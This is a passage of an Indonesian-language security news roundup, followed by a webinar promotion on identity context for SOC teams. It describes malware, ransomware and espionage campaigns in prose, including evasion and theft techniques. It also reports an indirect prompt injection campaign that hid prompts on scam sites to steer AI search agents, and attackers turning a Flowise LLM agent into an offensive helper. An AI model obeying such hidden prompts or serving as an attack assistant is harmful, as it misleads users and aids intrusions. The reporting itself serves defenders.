rekaman percakapan." Tak hanya itu, Falcon turut dimanfaatkan untuk mengeksekusi implan jahat bernama Antino yang memakai layanan Microsoft OneDrive sebagai kanal pertukaran perintah C2. Gelombang operasi spionase siber ini menargetkan instansi pemerintahan di satu negara Timur Tengah dan empat negara kawasan Asia Tenggara dari rentang Maret hingga Mei 2026. "Operasi spionase siber yang kami pantau secara terperinci menyasar kementerian luar negeri, pertahanan, dalam negeri, serta lembaga kepolisian, selaras dengan misi pengumpulan intelijen strategis kenegaraan," pungkas Unit 42.

Raksasa komputasi Microsoft melaporkan bahwa pemindaian forensik otomatis terhadap sejumlah subsistem kernel Linux yang digelar sejak akhir Mei hingga medio Juni 2026 telah menjaring sebanyak 26.502 temuan anomali mentah menggunakan perkakas analisis MDASH. Rentetan anomali kode tersebut kemudian ditelaah lebih lanjut hingga bermuara pada penerbitan 59 laporan resmi ke komunitas pengembang upstream dan alokasi 33 kode kerentanan CVE terverifikasi. Investigasi internal Microsoft bahkan sukses membuktikan eksistensi kode eksploitasi eskalasi hak akses tingkat root yang bekerja mulus pada delapan kerentanan di antaranya, salah satunya terdaftar sebagai CVE-2026-64563. "CVE-2026-64563 merupakan bug kesalahan reset status satu baris pada pustaka rhashtable, sebuah tabel hash dinamis bersama di dalam kernel Linux," terang perwakilan teknis Microsoft. "Karena fungsi pemanggil memercayai secara mutlak pointer objek yang dikembalikan oleh proses table walk, cacat logika kecil pada pustaka ini memungkinkan eskalasi hak akses lokal yang stabil hingga ke level root di Linux — dan turut berimbas pada sistem operasi Android dengan perlindungan SELinux berstatus enforcing — tanpa membutuhkan konfigurasi kernel khusus maupun isolasi namespace pengguna."

Sebuah peladen pengendali milik kelompok ancaman siber Silent Lynx yang terekspos tanpa kata sandi secara terbuka telah menyingkap tabir operasi spionase digital rahasia yang mengincar lembaga pemerintahan dan fasilitas infrastruktur vital di wilayah Asia Tengah sejak April sampai Oktober 2026. "Direktori terbuka tersebut menyimpan persenjataan peretasan milik kelompok itu, arsip data curian dari penyusupan aktif ke jaringan instansi pemerintah dan pengelola infrastruktur penting regional, serta agen kecerdasan buatan otonom yang diandalkan sang operator untuk menjalankan alur serangan," tutur tim investigasi CloudSEK. "Kami memperkirakan dengan tingkat keyakinan sedang bahwa pengendali operasi ini berpusat atau memiliki keterkaitan dengan Kazakhstan: seluruh operasional dipandu dalam bahasa Rusia, dan lalu lintas pengujian milik operator berasal dari koneksi internet residensial di Kazakhstan, mengonfirmasi analisis firma keamanan lain. Prioritas pengumpulan berkas mereka, yang mencakup urusan transportasi, korespondensi militer kementerian pertahanan, serta kementerian sumber daya alam di negara-negara tetangga, menegaskan motif intelijen geopolitik regional alih-alih mengejar keuntungan finansial murni."

Sindikat ransomware baru berbahasa Rusia bernama Citrus kini gencar menyerang sistem operasi Windows di lingkungan korporasi skala besar. Para peretas terbukti menyusup masuk pertama kali dengan membajak akun milik mitra kontraktor eksternal, lalu menyebarkan skrip PowerShell, file batch, serta perintah terminal yang diproduksi menggunakan kecerdasan buatan generatif pada fase serangan lanjutan. Untuk meminimalkan jejak pemantauan, aktor jahat ini secara sistematis menghapus seluruh perkakas kerja dan file keluaran pascaeksekusi, menyapu bersih riwayat baris perintah, dan melenyapkan rekaman log kejadian sistem (event log). Komplotan Citrus juga menyamarkan file program jahat mereka menggunakan nama-nama produk perangkat lunak ternama yang tepercaya agar terlihat wajar di mata staf TI internal. Malware Citrus sendiri merupakan varian ransomware Go yang berkerabat dekat dengan keluarga malware Sn00py. Di dalam mesin Windows korban, ransomware ini mengunci file pengguna dengan enkripsi kuat, menambahkan ekstensi .citrus pada dokumen yang tersandera, sembari secara agresif merusak mekanisme pemulihan cadangan data lokal. Firma keamanan Kaspersky menuturkan bahwa pola serangan Citrus berbagi banyak kemiripan metodologi dengan kelompok Toy Ghouls. "Citrus sangat menonjol berkat cara mereka memanfaatkan konten buatan AI generatif untuk memfasilitasi aktivitas serangan manual langsung di dalam sistem yang terinfeksi," ungkap Stanislav Larinsky, pakar Kaspersky Security Services. "Pada kasus-kasus yang kami bedah, pelaku mengawinkan celah akses akun pihak ketiga, eskalasi hak istimewa berulang, dan teknik penyebaran serentak ke seluruh domain jaringan. Rangkaian insiden ini menjadi peringatan keras betapa akun kontraktor luar yang terbatas dapat bertransformasi menjadi pintu masuk malapetaka besar apabila tidak diawasi ketat dan dipantau secara berkesinambungan."

Firma riset siber Proofpoint membeberkan temuan mendalam mengenai vektor serangan rekayasa sosial baru bernama BluePhishing, yang dinilai sebagai evolusi mutakhir dari skema penyalahgunaan izin persetujuan OAuth. Taktik ini memungkinkan peretas mengeksploitasi identitas agen digital cerdas seperti Microsoft Entra Agent ID guna memperoleh pijakan awal di dalam organisasi sasaran. BluePhishing beroperasi dengan cara "memanipulasi kesadaran korban melalui rekayasa sosial agar mereka memberikan persetujuan resmi terhadap blueprint agen AI jahat demi membuka akses masuk awal," tulis Proofpoint. "Sama halnya dengan phishing persetujuan aplikasi tradisional di mana pelaku memanipulasi kredensial klien untuk membobol tenant, BluePhishing memperluas celah ini ke dalam ekosistem agen digital cerdas. Dengan mengeksploitasi minimnya visibilitas pemantauan serta lemahnya tata kelola adopsi agen AI di korporasi, penyerang memanfaatkan tautan persetujuan sekali pakai untuk menciptakan entitas agen bayangan di tenant target, mencuri token akses otentik, dan bertindak leluasa dengan seluruh hak istimewa yang melekat pada agen tersebut."

Meta secara resmi mengumumkan perluasan teknologi estimasi usia berbasis kecerdasan buatan ke tingkat global guna menempatkan jutaan pengguna remaja ke dalam mode perlindungan Akun Remaja (Teen Accounts) secara otomatis di platform Instagram. "Kami memanfaatkan teknologi AI mutakhir untuk mengenali pengguna yang terindikasi kuat masih berusia remaja, sekalipun profil mereka mencantumkan tanggal lahir orang dewasa, lalu segera memasukkan akun mereka ke dalam perlindungan ketat Akun Remaja," demikian rilis pers Meta. "Dengan demikian, jutaan remaja di berbagai penjuru dunia yang berselancar di Instagram akan otomatis menerima fitur proteksi internal ini, terlepas dari apakah mereka memalsukan usia asli mereka atau tidak." Khusus di yurisdiksi Australia, Meta turut mengintegrasikan sinyal indikator rentang usia dari ekosistem sistem operasi Apple sebagai instrumen verifikasi pelengkap guna memperkuat akurasi pendeteksian usia anak di bawah umur.

Layanan Microsoft 365 Mailbox Replication Service (MRS) kini telah menambahkan dukungan terhadap protokol autentikasi modern OAuth saat menangani proses migrasi kotak surat elektronik antara infrastruktur awan Microsoft 365 dan server Exchange lokal (on-premises). "Begitu fitur OAuth untuk MRS ini diaktifkan secara menyeluruh, para administrator tenant dapat segera membuat titik akhir migrasi berbasis OAuth dan menerapkannya ke dalam kumpulan batch migrasi, maupun pada tugas pemindahan onboarding dan offboarding data surat elektronik," terang dokumentasi teknis Microsoft. "Prosedur autentikasi baru yang aman ini dapat diimplementasikan dengan mulus pada topologi infrastruktur hibrida maupun non-hibrida."

Masih seputar ekosistem Microsoft, raksasa piranti lunak tersebut telah menyuntikkan lapisan pertahanan mutakhir ke dalam sistem operasi Windows mulai 10 November 2026 untuk menanggulangi celah CVE-2026-118737 (skor CVSS: 8,1). Kerentanan ini merupakan celah eksekusi kode jarak jauh (RCE) berstatus kritis pada komponen Remote Procedure Call Runtime yang memungkinkan peretas tanpa hak akses mengeksekusi kode perintah jahat melalui sambungan jaringan. "Pembaruan sistem ini merupakan fase perdana dari perombakan arsitektur penandatanganan pesan NTLM," ungkap Microsoft. "Langkah pengamanan ini memastikan bahwa sesi NTLM yang terotentikasi selalu mengonstruksi kunci sesi kriptografis yang valid dan menegosiasikan penandatanganan pesan nyata, secara drastis mengurangi risiko keterpaparan terhadap serangan relay NTLM." Sejalan dengan visi keamanan tersebut, seluruh peladen Windows Server akan diwajibkan secara default menerapkan penandatanganan NTLM mulai Mei 2027 mendatang.

Fakta investigasi baru turut menyingkap kebocoran fatal yang kini telah ditambal pada lembaga Planning Inspectorate, sebuah badan eksekutif di bawah naungan Kementerian Perumahan, Komunitas, dan Tata Pemerintahan Lokal Inggris (MHCLG). Insiden memalukan ini berakar dari kecerobohan staf pengembang yang mengunggah kredensial autentikasi penuh aplikasi Microsoft Entra ID dalam bentuk teks biasa (plaintext) ke dalam repositori publik GitHub. "Kendati berkas commit tersebut sudah lekas dihapus dari percabangan utama, rekaman commit tersebut menjadi yatim (orphaned) akibat perintah git force push, sehingga tetap dapat diakses dan diunduh secara bebas oleh siapa pun melalui CDN objek mentah GitHub selama 18 bulan tanpa disadari," beber firma keamanan ControlPlane. Beruntung, kunci rahasia klien tersebut langsung dicabut dan dimusnahkan sekitar 20 menit setelah laporan pengungkapan celah resmi diajukan pada 26 Agustus 2026.

Sebuah kampanye peracunan mesin pencari (SEO poisoning) terorganisasi terpantau giat menyebarkan situs web palsu yang menyamar sebagai repositori manajer paket resmi Chocolatey dan utilitas aktivasi sistem Microsoft Activation Scripts (MAS) demi menginfeksikan malware pencuri data berbasis Python bernama Armorsteal. "Paket installer jebakan tersebut memasang lingkungan runtime Python 3.11 beserta tiga komponen modul utama yang menyediakan fungsionalitas remote access trojan, spionase komputer, dan perampokan informasi rahasia, di mana seluruh kode Python dienkripsi rapat memakai proteksi Pyarmor," urai laporan tim Zscaler. "Modul remote access bertugas menjalin komunikasi tersembunyi dengan server C2 pengendali, mengunduh muatan berbahaya tambahan, dan menjalankan instruksi baris perintah jarak jauh. Modul spionase bertindak merekam ketikan tombol keyboard (keylogger), menyadap papan klip clipboard, menangkap gambar tangkapan layar, dan memunculkan jendela notifikasi dompet kripto tiruan. Sementara modul perampok informasi secara sistematis menguras riwayat peramban, token sesi Discord, dompet cryptocurrency, seed phrase pemulihan, kata sandi tersimpan, kunci privat SSH, hingga data profil akun platform Steam."

Gelombang baru kampanye malware perbankan Grandoreiro dilaporkan tengah melancarkan agresi besar-besaran terhadap pengguna internet di kawasan Amerika Latin, meliputi Argentina, Cile, Kolombia, Meksiko, dan Peru, dengan memanfaatkan surat elektronik jebakan yang dirancang secara khusus menurut karakteristik lokal masing-masing negara sasaran. "Operasi siber ini menyebarkan umpan phishing yang dilokalisasi dalam bahasa Spanyol, meski beberapa di antaranya ditemukan memakai bahasa Portugis kendati ditujukan ke negara penutur bahasa Spanyol," sebut firma intelijen Arctic Wolf. "Rantai phishing memanfaatkan nama-nama domain yang baru saja dibeli serta skema pengalihan URL berlapis demi mengelabui sistem filter spam gateway. Muatan pamungkas ditarik melalui Domain Generation Algorithm (DGA) yang disinkronkan dengan tanggal hari eksekusi. File arsip ZIP yang terunduh menyembunyikan struktur subfolder bertingkat yang diisi dua file binary PE resmi dan dua berkas PDF polos tanpa bahaya. Sebuah file skrip VBScript di direktori utama berfungsi sebagai muatan pemicu, menggunakan kode sampah dan teknik penyamaran berlapis sebelum merakit dan meluncurkan loader berbasis bahasa Delphi." Komponen loader ini berpura-pura menjadi aplikasi pembaca PDF sah guna mengunduh dan menyuntikkan trojan perbankan Grandoreiro ke memori komputer.

Unit 42 Palo Alto Networks turut mempublikasikan temuan kampanye injeksi instruksi tak langsung atau indirect prompt injection (IDPI) yang tersebar rapi di 26 domain web aktif. "Rangkaian domain ini berupaya memanipulasi teknik black-hat Generative Engine Optimization (GEO) demi mengakali dan memperdaya sistem mesin pencari berbasis kecerdasan buatan," terang laporan Unit 42. "Hampir seluruh 26 situs web tersebut memiliki format konten yang serupa, memamerkan diri sebagai platform perdagangan aset digital bertenaga kecerdasan buatan. Padahal, situs-situs tersebut merupakan laman penipuan phishing yang dirancang untuk mengumpulkan data rahasia pengunjung. Prompt instruksi tersembunyi disisipkan sedemikian rupa agar tak kasat mata bagi mata manusia biasa yang membuka halaman, namun tetap terbaca jelas oleh agen bot AI perayap web. Serangan ini sengaja meracuni optimasi SEO guna mendikte agen AI agar merekomendasikan dan mengarahkan korban mendatangi situs-situs berbahaya tersebut."

Pengelola repositori Python Package Index (PyPI) telah meluncurkan tab keamanan terdedikasi baru pada setiap laman proyek perangkat lunak mereka, memberikan kemudahan bagi komunitas pengembang untuk meninjau sinyal-sinyal integritas kode secara transparan. "Tab keamanan baru ini menampilkan status asal-usul riwayat rilis (provenance) dan menyajikan sertifikasi atestasi per-file, memberikan ruang khusus bagi pengguna untuk memverifikasi keaslian sumber pembuatan file pustaka tersebut," jelas tim PyPI. "Sistem PyPI mengalkulasi keabsahan status provenance rilis dengan memvalidasi secara ketat apakah setiap file paket yang diunggah telah memiliki dokumen atestasi kriptografis yang terverifikasi secara sah."

Perangkat lunak jahat pencuri data bernama RevStealer dilaporkan menyebar secara masif melalui sebuah kampanye kriminal berskala industri berorientasi finansial yang mengaburkan aksinya lewat umpan aplikasi cheat game online serta berbagai program utilitas AI palsu. Muatan infeksi berbahaya ini disebarluaskan lewat jejaring terkoordinasi yang terdiri dari lebih dari 100 domain terafiliasi, bundel aplikasi Electron berbahaya yang menyamar sebagai aplikasi kecerdasan buatan Claude Opus 5 besutan Anthropic, serta pembajakan saluran-saluran resmi YouTube untuk menaruh tautan unduhan, sebagaimana dilaporkan oleh kelompok riset Akatsuki Legion. "Ketika berhasil dieksekusi di komputer korban, malware ini mula-mula menjalankan algoritma penilai berbobot sepuluh parameter untuk mendeteksi dan mengecoh lingkungan sandbox analisis, melakukan dekripsi muatan memori dengan enkripsi AES-256-CBC, serta mendayagunakan 14 fungsi pembungkus indirect syscall dan hashing API FNV-1a untuk menembus pengawasan hook sistem keamanan antarmuka pengguna; setelah itu, malware membabat habis seluruh kredensial akun dari peramban web, pengelola kata sandi, dompet mata uang kripto, serta akun game Steam, Roblox, Battle.net, EA Desktop, dan Minecraft; kemudian menyelundupkan seluruh hasil jarahan sebagai aliran data terenkripsi via HTTPS, didukung oleh jaringan blockchain Polygon sebagai kanal dead-drop darurat jika komunikasi C2 utama terputus," urai kelompok periset independen tersebut secara mendalam.

Kalangan pelaku kejahatan digital terorganisasi juga dilaporkan makin gencar mengarahkan serangan mereka ke platform orkestrasi kecerdasan buatan komputasional dalam kurun waktu beberapa bulan terakhir, menurut analisis komprehensif firma intelijen Sekoia. Lonjakan agresi ini dipicu oleh fakta bahwa "infrastruktur orkestrasi tersebut menjadi titik sentral penyimpanan kunci rahasia API korporat, pangkalan data bisnis rahasia, serta jembatan kendali akses langsung ke berbagai alat komputasi eksternal penting," urai tim Sekoia. Salah satu sasaran empuk tersebut adalah platform Flowise, yang belakangan ini dirundung sejumlah celah keamanan berbahaya seperti CVE-2025-59528 dan CVE-2026-41264. Dalam satu insiden intrusi nyata yang terekam pada Agustus 2026, aktor spionase berbahasa Mandarin menyalahgunakan fitur bawaan Flowise untuk melakukan pengintaian topologi jaringan korban secara otomatis, sembari membajak agen model bahasa besar (LLM) di dalamnya agar berfungsi sebagai alat bantu serangan siber ofensif terhadap entitas luar. "Aktor penyusup memanipulasi agen AI tersebut menjadi asisten ofensif interaktif, menyodorkan data pengintaian infrastruktur dunia nyata (seperti infrastruktur Nightingale dan Redis) ke dalam mesin LLM demi menyusun pedoman eksploitasi serangan serta analisis kerentanan target secara otomatis," tambah Sekoia dalam laporannya.

Firma keamanan LevelBlue menyingkap kemunculan satu rumpun paket phishing baru yang beredar di pasar gelap, terdiri atas kit bernama BlackApex, DarkApex, SPY, XXX101-TOKEN, OGPARKER1, W1-TOKEN, dan ALIBOBO-TOKEN, yang seluruhnya dirancang untuk melancarkan serangan pencurian token lewat skema otentikasi device code phishing berkedok dokumen bersama palsu. Temuan ini sekali lagi membuktikan bagaimana kecerdasan buatan mampu mengakselerasi perancangan kit penipuan lintas merek secara masif dan sangat meyakinkan. "Di seluruh materi umpan yang disebarkan, struktur kode sumbernya memperlihatkan ciri khas sintaksis yang jamak dihasilkan oleh kecerdasan buatan, baik berasal dari rangkaian prompt langsung ke model LLM maupun hasil kolaborasi intensif seorang pengembang dengan asisten koding AI," tegas tim LevelBlue. "Arsitektur kode logika, titik akhir API, dan antarmuka web yang ditampilkan identik di antara seluruh varian tersebut. Kami belum dapat memastikan apakah deretan label nama kit ini merepresentasikan aktor operasional independen, jaringan reseller berbeda, atau pembeli lisensi dari satu kit phishing yang sama, namun seluruh pola forensik ini sangat konsisten dengan produk peretasan bersama yang diubah mereknya (rebranded) lalu disebarkan ulang ke berbagai sasaran empuk di penjuru dunia."

Perkuat SOC dengan Konteks Identitas: Mengamankan Manusia, Mesin, dan Agen AI

By admin

On November 13, 2026

In The Hacker News

Tim pengamanan siber kini memiliki lebih banyak peringatan keamanan, catatan log, serta instrumen pemantauan dibandingkan masa-masa sebelumnya. Kendati demikian, ketika sebuah insiden peretasan berlangsung, ada satu pertanyaan mendasar yang penyelesaiannya masih memerlukan waktu terlalu panjang: Siapa atau entitas apa yang berada di balik aktivitas mencurigakan ini, serta aset data mana saja yang dapat mereka jangkau?

Aktivitas masuk log yang janggal bisa saja milik seorang staf internal. Sebuah panggilan API yang tidak wajar dapat berasal dari akun mesin otomatis. Selain itu, agen kecerdasan buatan (AI) mungkin tengah mengakses sistem krusial menggunakan hak akses istimewa yang belum pernah ditinjau ulang oleh pengelola baru-baru ini.

Sistem SIEM maupun EDR milik Anda barangkali sanggup menangkap anomali tersebut secara tepat waktu. Akan tetapi, tanpa memahami identitas pemilik sesungguhnya, wewenang akses apa saja yang dimilikinya, dan jaringan sistem mana saja yang dapat dieksploitasi olehnya, divisi SOC Anda sesungguhnya kehilangan sebagian besar narasi krusial dari insiden tersebut. Ketiadaan konteks pendukung yang esensial tersebut berpotensi mengubah insiden keamanan biasa menjadi malapetaka berskala masif yang jauh lebih merepotkan.

Ikutilah webinar eksklusif bersama pakar industri guna mempelajari bagaimana penyediaan konteks identitas secara seketika (real-time) dapat membantu divisi SOC mempercepat investigasi ancaman, memetakan risiko berbahaya secara akurat, serta mengambil langkah penanggulangan secara lebih meyakinkan.

Kesenjangan Antara Identitas dan Operasi Keamanan

Divisi Identity and Access Management (IAM) memegang kendali atas siapa saja yang berhak memperoleh akses ke sumber daya tertentu. Sementara itu, tim operasi keamanan (SOC) bertugas memantau anomali serta merespons berbagai ancaman digital. Sayangnya, kedua divisi tersebut kerap beroperasi secara terpisah menggunakan perangkat lunak yang berlainan, basis data berbeda, serta fokus prioritas kerja yang tidak seragam.

Tatkala sebuah peringatan ancaman berbunyi, analis keamanan di SOC mungkin memahami kejadian yang berlangsung, namun mereka kerap menghadapi kebingungan besar untuk mengartikan implikasi nyata di balik peristiwa tersebut. Ambil contoh kasus akun layanan (service account) yang berhasil diretas. Analis forensik mungkin dapat menemukan pergerakan mencurigakan pada sistem, tetapi sejumlah pertanyaan krusial tetap belum terjawab secara tuntas.

Kejelasan jawaban atas pertanyaan-pertanyaan tersebut sangat penting. Mengambil tindakan gegabah dengan memblokir akun yang salah dapat melumpuhkan jalannya operasional bisnis. Sebaliknya, menunggu informasi terlalu lama justru membuka celah bagi pelaku peretasan untuk memperluas jangkauan serangannya. Kini, dengan bertambahnya identitas mesin digital serta kehadiran agen AI otonom dalam alur kerja korporasi harian, dinamika tantangan keamanan ini kian rumit ditangani.

Ledakan Jumlah Identitas, Hak Akses, dan Potensi Bahaya Baru

Pemantauan keamanan siber tradisional mayoritas dirancang berpusat pada pengguna manusia, perangkat keras fisik, serta aktivitas jaringan kabel konvensional. Pada era modern ini, korporasi semakin menggantungkan operasionalnya pada akun layanan, kunci otentikasi API, beban kerja komputasi otomatis, serta agen AI otonom yang mampu menjalankan instruksi kompleks tanpa kendali manusia secara langsung.

Banyak dari identitas mesin semacam ini dibekali hak akses tingkat tinggi ke sistem inti dan basis data rahasia korporat. Apabila salah satu kredensial ini sampai disusupi pihak luar, sekadar mendeteksi adanya tindakan mencurigakan hanyalah babak permulaan. Divisi pertahanan siber diwajibkan memahami seluruh hak istimewanya, relasi konektivitasnya, serta proyeksi kerusakan yang sanggup ditimbulkannya.

Di sinilah kehadiran konteks identitas mampu mengubah seluruh jalannya investigasi insiden. Alih-alih menganggap setiap tanda bahaya sebagai kejadian yang berdiri sendiri, analis forensik dapat menyatukan korelasi anomali tersebut langsung ke entitas identitas aslinya, mengukur sejauh mana manuver lateral peretas dapat menembus infrastruktur, lalu menetapkan langkah isolasi yang paling efektif untuk meminimalisasi kerusakan tanpa harus menghentikan aktivitas operasional perusahaan secara berlebihan.

Wujud Nyata Efektivitas Penanganan Insiden pada Divisi SOC

Tujuan utama dari pendekatan baru ini bukanlah sekadar menambah deretan dasbor pemantau baru atau melipatgandakan jumlah peringatan yang membingungkan. Sasaran sesungguhnya adalah menyuplai para analis dengan data intelijen paling krusial persis saat insiden genting sedang berlangsung.

Langkah ini menuntut integrasi intelijen identitas ke dalam peringatan sistem SIEM dan solusi EDR yang telah digunakan, agar segenap personel keamanan dapat bertindak sigap. Perbedaannya tampak sangat mendasar: mengetahui bahwa ada sebuah aktivitas mencurigakan terjadi memang membantu. Namun, mengetahui aset apa saja yang terancam serta mengetahui cara tepat untuk menghentikannya jauh lebih bernilai bagi kelangsungan sistem.

Pelajari Pendekatan Strategis Mengatasi Kesenjangan Keamanan

Dalam agenda webinar mendatang bertajuk Fuel the SOC with Identity Context: Securing Humans, Machines, and AI Agents, deretan praktisi keamanan siber akan membedah strategi penggabungan divisi IAM dengan operasi keamanan internal.

Mengacu pada implementasi nyata di lingkungan korporasi skala besar, pertemuan ini mengupas metode praktis memperkaya peringatan keamanan memakai konteks identitas, melacak pergerakan lateral, menghitung estimasi radius kerusakan serangan, serta memperkuat mitigasi insiden tanpa mengganggu kelancaran produksi. Materi webinar ini turut memaparkan tata cara menyelaraskan tim melalui metrik performa bersama, alur eskalasi terpadu, hingga penyusunan buku panduan respons terkoordinasi.

Pusat SOC Anda sejatinya telah dibanjiri banyak peringatan ancaman. Sekarang adalah saatnya melengkapinya dengan konteks identitas yang jelas untuk segera mengambil tindakan. Daftarkan diri Anda dalam webinar gratis ini dan pelajari cara mengubah intelijen identitas menjadi fondasi respons penanganan siber yang jauh lebih cepat serta cerdas.